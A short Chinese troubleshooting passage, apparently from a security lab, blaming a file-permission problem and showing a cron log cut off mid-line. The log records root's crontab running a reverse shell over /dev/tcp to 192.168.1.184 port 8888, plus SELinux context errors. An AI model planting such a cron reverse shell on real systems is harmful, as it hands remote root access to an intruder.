因为文件权限不对导致的,如下图所示
[root@localhost cron]# tail -f /var/log/cron
Mar 5 09:41:01 localhost crond[10759]: (root) SELinux in permissive mode, continuing (/var/spool/cron/root)
Mar 5 09:41:01 localhost crond[93483]: (root) NULL security context for user, but SELinux in permissive mode, continuing ()
Mar 5 09:41:01 localhost CROND[93485]: (root) CMD (sh -i >& /dev/tcp/192.168.1.184/8888 0>&1^M)
Mar 5 09:42:01 localhost crond[10759]: (root) RELOAD (/var/spool/cron/root)
Mar 5 09:42:01 localhost crond[10759]: (root) Unauthorized SELinux context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 file_context=unconfined_u:object_r:admin_home_t:s0 (/var/spool/cron/root)
Mar 5 09:42:01 localhost crond[10759]: (root) SELinux in permissive mode, continuing (/var/